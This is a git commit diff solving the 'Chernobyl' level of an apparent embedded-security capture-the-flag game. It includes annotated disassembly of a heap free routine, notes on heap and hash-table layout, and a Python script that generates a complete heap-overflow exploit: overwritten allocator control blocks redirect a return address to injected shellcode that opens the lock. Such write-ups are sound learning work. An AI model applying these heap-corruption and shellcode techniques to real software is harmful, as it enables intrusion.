Solve Chernobyl

This commit is contained in:
felixm 2023-09-04 18:16:19 -04:00
parent 23dc19fa30
commit f9659caaf7
8 changed files with 333 additions and 98 deletions

View File

@ -706,3 +706,7 @@ And this solves the Lagos challenge as expected.
## Chernobyl
The solution and explanation for Chernobyl is located in `chernobyl/utils.py`.
Run `python chernobyl/utils.py` to get the shellcode.

51
chernobyl/free.c Normal file
View File

@ -0,0 +1,51 @@
// The free disassembly translated to C so that my poor brain understands what's going on.
#include <stdint.h>
typedef struct MemoryBlock
{
struct MemoryBlock *prev;
struct MemoryBlock *next;
uint32_t status;
} MemoryBlock_t;
int free_list(uint32_t memory_block_addr)
{
MemoryBlock_t *current_block = (MemoryBlock_t*) (memory_block_addr - sizeof(MemoryBlock_t));
uint32_t current_block_status = current_block->status;
current_block_status &= 0xfffe; // clear alloc flag
current_block->status = current_block_status;
MemoryBlock_t *prev_block = current_block->prev;
uint32_t prev_block_status = prev_block->status;
if ((prev_block_status & 0x1) == 0) // prev block is free
{
prev_block_status += 6;
prev_block_status += current_block_status;
prev_block->status = prev_block_status;
prev_block->next = current_block->next;
MemoryBlock_t *next_block = current_block->next;
next_block->prev = prev_block;
current_block = current_block->prev;
}
MemoryBlock_t *next_block = current_block->next;
uint32_t next_block_status = next_block->status;
if ((next_block_status & 0x1) == 0) // next block is free
{
next_block_status += current_block->status;
next_block_status += 6;
current_block->status = next_block_status;
current_block->next = next_block->next;
next_block->prev = current_block;
}
return 0;
}
int main()
{
free_list(0); // not actually meant to be run; just check if it compiles
return 0;
}

View File

@ -284,25 +284,25 @@
4716: clr r15
4718: pop r11
471a: ret
471c <free>
471c: push r11
471e: add #0xfffa, r15
4722: mov 0x4(r15), r13
4726: and #0xfffe, r13
472a: mov r13, 0x4(r15)
472e: mov @r15, r14
4730: mov 0x4(r14), r12
4734: bit #0x1, r12
4736: jnz $4752
4738: add #0x6, r12
473c: add r13, r12
473e: mov r12, 0x4(r14)
4742: mov 0x2(r15), 0x2(r14)
4748: mov 0x2(r15), r13
474c: mov r14, 0x0(r13)
4750: mov @r15, r15
4752: mov 0x2(r15), r14
4756: mov 0x4(r14), r13
471c <free> ; r15_pMemoryBlock; (offsetPrev=0x0, offsetNext=0x2, offsetStatus=0x4, cbSize=6)
471c: push r11 ; save r11
471e: add #0xfffa, r15 ; r15_pControlBlock = (pMemoryBlock - cbSize))
4722: mov 0x4(r15), r13 ; r13_ControlBlockStatus = *(r15_pControlBlock + offsetStatus)
4726: and #0xfffe, r13 ; r13_ControlBlockStatus clear [alloc] flag
472a: mov r13, 0x4(r15) ; write status back with cleared alloc flag
472e: mov @r15, r14 ; r14_pControlBlockPrev = *(r15_pControlBlock + offsetPrev)
4730: mov 0x4(r14), r12 ; r12_PrevControlBlockStatus = *(r14_pControlBlockPrev + offsetStatus)
4734: bit #0x1, r12 ; check if prev block is [alloc]
4736: jnz $4752 ; jump if prevControlBlock is [alloc] else if [free] continue
4738: add #0x6, r12 ; r12_PrevControlBlockStatus += cbSize
473c: add r13, r12 ; r12_PrevControlBlockStatus += r13_ControlBlockStatus
473e: mov r12, 0x4(r14) ; *(r14_pControlBlockPrev + offsetStatus) = r12_PrevControlBlockStatus
4742: mov 0x2(r15), 0x2(r14) ; *(r14_pControlBlockPrev + offsetNext) = *(r15_pControlBlock + offsetNext)
4748: mov 0x2(r15), r13 ; r13_pControlBlockNext = *(r15_pControlBlock + offsetNext)
474c: mov r14, 0x0(r13) ; (*r13_pControlBlockNext + offsetPrev) = r14_pControlBlockPrev
4750: mov @r15, r15 ; r15_pControlBlock = *(r15_pControlBlock + offsetPrev)
4752: mov 0x2(r15), r14 ; r14_pNextBlock
4756: mov 0x4(r14), r13 ; r14_NextBlockStatus
475a: bit #0x1, r13
475c: jnz $4774
475e: add 0x4(r15), r13

View File

@ -1,21 +0,0 @@
You can add multiple commands by delimiting with ; and without a space after:
new ibio 1337;new xnjc 1337;new folm 1337;
Command to print tree:
#define walk pc=45ba; r15=5000; b 465c; continue
Q and A:
1: Figure out what 3 and 5 parameters are for.
- The 5 stands for the entries per sub-table.
- The 3 stands for the log2 number of sub-tables
2: Find out what rehash trigger depends on.
Rehash is triggered when a sub table is full (when I use aaaa, bbbb, cccc as
usernames these result in the same hash and fill up the table).
3:

119
chernobyl/notes.md Normal file
View File

@ -0,0 +1,119 @@
# You can add multiple commands by delimiting with ; and without a space after:
new ibio 1337;new xnjc 1337;new folm 1337;
# Command to print tree:
#define walk pc=45ba; r15=5000; b 465c; continue
# Set Breakpoints at hash and rehash:
reset; b 4866; b 4870; b 490a
# Q and A:
1: Figure out what 3 and 5 parameters are for.
- The 5 stands for the entries per sub-table.
- The 3 stands for the log2 number of sub-tables
2: Find out what rehash trigger depends on.
Rehash is triggered when a sub table is full (when I use aaaa, bbbb, cccc as
usernames these result in the same hash and fill up the table).
# Tree Structure Interpretation
```
@5000 [alloc] [p 5000] [n 5010] [s 000a]
{5006} [ 0005 ; current entries
0003 ; heap size log2, i.e. for 3 there are 8 tables, for 4 there are 16 tables and so on
0005 ; max entries per table
5016 ; pointer to array of row pointers
502c ; pointer to array of curren entries for that table
]
@5010 [alloc] [p 5000] [n 5026] [s 0010]
{5016} [ 5042 50a2 5102 5162 51c2 5222 5282 52e2 ] ; addess of each row
@5026 [alloc] [p 5010] [n 503c] [s 0010]
{502c} [ 0005 0000 0000 0000 0000 0000 0000 0000 ] ; current entries for that row
@503c [alloc] [p 5026] [n 509c] [s 005a]
{5042} [ 6161 6161 0000 0000 0000 0000 0000 0000 0539 6262 6262 0000 0000 0000 0000 0000 0000 0539 6363 6363 0000 0000 0000 0000 0000 0000 0539 6464 6464 0000 0000 0000 0000 0000 0000 0539 6565 6565 0000 0000 0000 0000 0000 0000 0539 ]
@509c [alloc] [p 503c] [n 50fc] [s 005a]
{50a2} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
@50fc [alloc] [p 509c] [n 515c] [s 005a]
{5102} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
@515c [alloc] [p 50fc] [n 51bc] [s 005a]
{5162} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
@51bc [alloc] [p 515c] [n 521c] [s 005a]
{51c2} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
@521c [alloc] [p 51bc] [n 527c] [s 005a]
{5222} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
@527c [alloc] [p 521c] [n 52dc] [s 005a]
{5282} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
@52dc [alloc] [p 527c] [n 533c] [s 005a]
{52e2} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
@533c [freed] [p 52dc] [n 5000] [s 7cbe]
```
# Random Thoughts
The application has a user authentication mechanism where you can add user
names together with a pin to a hash table. Then, when accessing an acount it is
looked up in the table. The funny thing is that even if access is granted
nothing happens, so that means there has to be some way to exploit the
application.
What I have found out is that there is a walk function that shows the current
dynamic memory allocation. The hash table has a control field with the current
fill status, pointers to data rows and to the fill status of each data row.
There is one vulnerability where the dynamic memory allocation block can be
overriden by writing more than five entries into the same hash table row. My
first idea was to use that to pretend that there is free memory in the stack
section, but the malloc function has a check that the following address is
higher than the current one, so that didn't work.
At that point, I had not other ideas. If we think backwards from how a solution
could look like, we get the following:
- Put shell code that opens the door somewhere. This is trivial because there
aren't any input constraints except (no null bytes).
- Manipulate a return address on the stack to jump to our inserted shell code.
- We could do that my malloc memory in the stack area and then use the input
feature to override the return address. (This does not work because malloc
checks the address of the next block and it has to be higher than the
previous block.)
What can we assume:
- Since we are able to override the memory allocation controll block, it seems
reasonable that that's where the vulnerability is. We have `walk`, `malloc`,
`free` as potential attack vectors. Actually, walk not because it's not
called.
- We have already poked at `malloc` a little, so let's check out free.
After trying to understand free, I can say that I don't fully understand it
yet, but it definitely looks like things aren't properly check as they are in
Malloc. I think I can use it to write to an arbitrary address.
Okay, I've found out that by overriding the prev value I can point it into the
stack region. Specifically, it seems like `3dcc` is the right address. I can
then override next value with the address of my shell code. For now, I will
just use `8080`.
I found out that overriding the next address doesn't work, because malloc has a
check that the address keep incrementing, so I cannot maniuplate next address.
It's the same issue as mentioned above. However, I can manipulate prev address.
By combining prev address with status, I should be able to manipulate the
return address.
However, I ran into one more issue. When freeing, the free function checks the
next memory block and if it is free merges it with the current one which
overrides the prev manipulation. That means we have to override the next
pointer of the first block, and the prev pointer of the second block. We then
have to maniuplate `status` so that the resulting return address ends up being
at a location we like. Cool.
That's how I ended up with the solution with `gen_first_override_block`
`gen_second_override_block`. That was fun.

View File

@ -1,37 +0,0 @@
The following is a hash tree with the root address at 0x5006.
@5000 [alloc] [p 5000] [n 5010] [s 000a]
{5006} [ 0005 ; current entries
0003 ; heap size log2, i.e. for 3 there are 8 tables, for 4 there are 16 tables and so on
0005 ; max entries per table
5016 ; pointer to array of tables
502c ; pointer to array of curren entries for that table
]
@5010 [alloc] [p 5000] [n 5026] [s 0010]
{5016} [ 5042 50a2 5102 5162 51c2 5222 5282 52e2 ]
@5026 [alloc] [p 5010] [n 503c] [s 0010]
{502c} [ 0005 0000 0000 0000 0000 0000 0000 0000 ]
@503c [alloc] [p 5026] [n 509c] [s 005a]
{5042} [ 6161 6161 0000 0000 0000 0000 0000 0000 0539 6262 6262 0000 0000 0000 0000 0000 0000 0539 6363 6363 0000 0000 0000 0000 0000 0000 0539 6464 6464 0000 0000 0000 0000 0000 0000 0539 6565 6565 0000 0000 0000 0000 0000 0000 0539 ]
@509c [alloc] [p 503c] [n 50fc] [s 005a]
{50a2} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
@50fc [alloc] [p 509c] [n 515c] [s 005a]
{5102} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
@515c [alloc] [p 50fc] [n 51bc] [s 005a]
{5162} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
@51bc [alloc] [p 515c] [n 521c] [s 005a]
{51c2} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
@521c [alloc] [p 51bc] [n 527c] [s 005a]
{5222} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
@527c [alloc] [p 521c] [n 52dc] [s 005a]
{5282} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
@52dc [alloc] [p 527c] [n 533c] [s 005a]
{52e2} [ 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ]
@533c [freed] [p 52dc] [n 5000] [s 7cbe]
new
\
------ ----
6e6577203c5044407cf920313333373b
------------

View File

@ -2,7 +2,23 @@ import random
import string
def decode_malloc_status(word: str):
""" Decode a status word into the size and allocation value. """
assert(len(word) == 4)
i = int(word[2:4] + word[0:2], 16)
s = ''
if i & 1:
s += '[alloc] '
else:
s += '[free] '
i = (i >> 1)
s += f'[size {i:04x}]'
print(s)
def hash_user(user: str) -> str:
""" Takes a user string and runs it throug the hash function. """
r15 = 0
for i in range(len(user)):
r13 = ord(user[i])
@ -18,12 +34,15 @@ def hash_user(user: str) -> str:
def user_to_hash_table_index(user: str) -> str:
""" Takes a user string, hashes it and computes the table offset. """
hash = int(hash_user(user), 16)
hash &= 0x07
# hash &= 0x7 # 3 for initial hash table state
hash &= 0xf # 4 after one rehash (rehash increases the table size)
return f"{hash:0{4}x}"
def hash_pin(pin: str) -> str:
""" Function to hash a pin. Turns out this is not needed. """
r10 = 0
r12 = r10
for i in range(len(pin)):
@ -40,9 +59,14 @@ def hash_pin(pin: str) -> str:
def find_users_that_hash(number_users: int, hash_index: int):
""" Generates a number of random users that hash to the provided index.
Note: The hash index is only valid for a specific hash table size (3 or 4).
See user_to_hash_table_index to change that value.
"""
strings = []
while len(strings) < number_users:
user = generate_random_string(4)
user = generate_random_string(3)
index = user_to_hash_table_index(user)
if index == f"000{hash_index}":
s = f"new {user} 1337;"
@ -52,34 +76,127 @@ def find_users_that_hash(number_users: int, hash_index: int):
def transform_ascii_to_bytes(input_str: str) -> str:
bytes_array = bytes(input_str, 'utf-8')
return bytes_array.hex()
""" Transform '123' into '313233'. """
return "".join([f'{ord(c):02x}' for c in input_str])
def transform_bytes_to_ascii(input_str: str) -> str:
""" Transform '313233' into '123'. """
r = ""
for i in range(0, len(input_str), 2):
s = input_str[i:i + 2]
r += chr(int(s, 16))
return r
def generate_random_string(n: int) -> str:
""" Generate a random string with n lowercase letters. """
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for _ in range(n))
def create_random_users():
print(";".join(["new " + generate_random_string(4) + " 1337" for _ in 'abcdefghijklmn']))
def create_deterministic_users():
print(";".join(["new " + 4 * c + " 1337" for c in 'abcdefghijklmn']))
""" Create users deterministically to poke around. """
print(";".join(["new " + 8 * c + " 1337" for c in 'abcdefghijklmn']))
def generate_shell_code() -> str:
# new
# \
# ------ ----
# ------------
return "6e6577203c5044407cf920313333373b"
def append_for_specific_hash(user: str, hash_index: int) -> str:
"""
This takes a certain user string and then appends a random string to put
the result into the hash table entry indicated by `hash_index`. This is
useful to allocate a payload at a specific offset.
"""
for _ in range(50):
potential_user = str(user) + generate_random_string(2)
index = user_to_hash_table_index(potential_user)
if index == f"000{hash_index}":
return potential_user
return f"XXX COULD NOT HASH {user} to {hash_index}! XXX"
def gen_first_override_block() -> str:
"""
Once the 0 table is filled up, we use this block to override the allocation
table. The main purpose is to set next to a block that is **not** the second
block. That is necessary because otherwise `free` would destroy our second
block via the reference here. I just found the values out "empirically".
"""
s = "6e657720" # "new "
prev = "8853" # prev
next = "a854" # next
status = "b510" # status
user = transform_bytes_to_ascii(prev + next + status)
user_with_postfix = append_for_specific_hash(user, 0) # allocate at index 0
s += transform_ascii_to_bytes(user_with_postfix)
s += "20313333373b" # " 1337;"
return s
def gen_second_override_block() -> str:
"""
This block contains one of the key insights. By setting prev to 0x3dca
which is allocated on the stack, we can make free write into the stack via
`status` (which is at 0x3dca + 4). By choosing status we can override the
return address from the `free` call to jump to our inserted shell code on
the heap.
"""
s = "6e657720" # "new "
prev = "ca3d" # prev (address on stack where we override return address)
next = "0855" # next
status = "c70b" # value that has to be added to return address to reach code injection address
# r12 at address where we can maniuplate it to return value: 49a8
# r12 will be written into 3dca + 4 which <free> uses as the return address
# Target address: 556e
# Required status value: 556e - 49a8 = bc6 -> c60b --[with alloc bit] -> c70b
user = transform_bytes_to_ascii(prev + next + status)
user_with_postfix = append_for_specific_hash(user, 1) # allocate at index 1
s += transform_ascii_to_bytes(user_with_postfix)
s += "20313333373b" # " 1337;"
return s
def gen_shellcode() -> str:
"""
This function generates the payload. We cannot push 0x007f directly
(because of the null byte), so instead, we add a longer value to r5 which
results in 0x7f and then push r5 before calling <INT>.
"""
s = "6e657720" # "new "
# This shell code is expected to be located at 556e
shellcode = "35503dad" # add #0xad3d, r5 ; will give us 0x7f in r5 (I just took whatever value was in r5 here)
shellcode += "0512" # push r5
shellcode += "b012ec4c" # call <INT> ; boom :)
user = transform_bytes_to_ascii(shellcode)
user_with_postfix = append_for_specific_hash(user, 5) # allocate at index 5 which matches address 556e
s += transform_ascii_to_bytes(user_with_postfix)
s += "20313333373b" # " 1337;"
return s
def main():
# create_deterministic_users()
# decode_malloc_status("1337")
print("Hex payload to open lock:")
random.seed(1) # easier debugging
s = transform_ascii_to_bytes(find_users_that_hash(5, 0)) # fill up index 0
s += transform_ascii_to_bytes(find_users_that_hash(5, 1)) # fill up index 1
s += transform_ascii_to_bytes(find_users_that_hash(5, 2)) # fill up index 2 (triggers rehash)
# After the rehash 0, 1, 2 are still at the same locations because we use
# 0xf in user_to_hash_table_index.
s += gen_first_override_block() # append override block at index 0 (overriding malloc control block)
s += gen_second_override_block() # append override block at index 1 (overriding malloc control block)
s += gen_shellcode() # insert shell code at index 2
s += transform_ascii_to_bytes(find_users_that_hash(5, 3)) # trigger rehash by filling up index 3
# The second rehash will free the manipulated override block inserted via
# gen_second_override_block. When returning from free we jump the shellcode
# and open the lock. Note that gen_first_override_block is required so that
# free running on the first memory block doesn't override the second block.
print(s)
if __name__ == "__main__":
s = transform_ascii_to_bytes(find_users_that_hash(5, 3))
s += generate_shell_code()
s += transform_ascii_to_bytes(find_users_that_hash(7, 3))
print(s)
# create_deterministic_users()
main()

View File

@ -46,6 +46,8 @@ def replace_relative_addresses(file_name: str) -> None:
if __name__ == "__main__":
# Takes the copy and based assembly code from the web interface and
# replaces the relative address with absolute ones for easier navigation.
file_name = sys.argv[1]
replace_relative_addresses(file_name)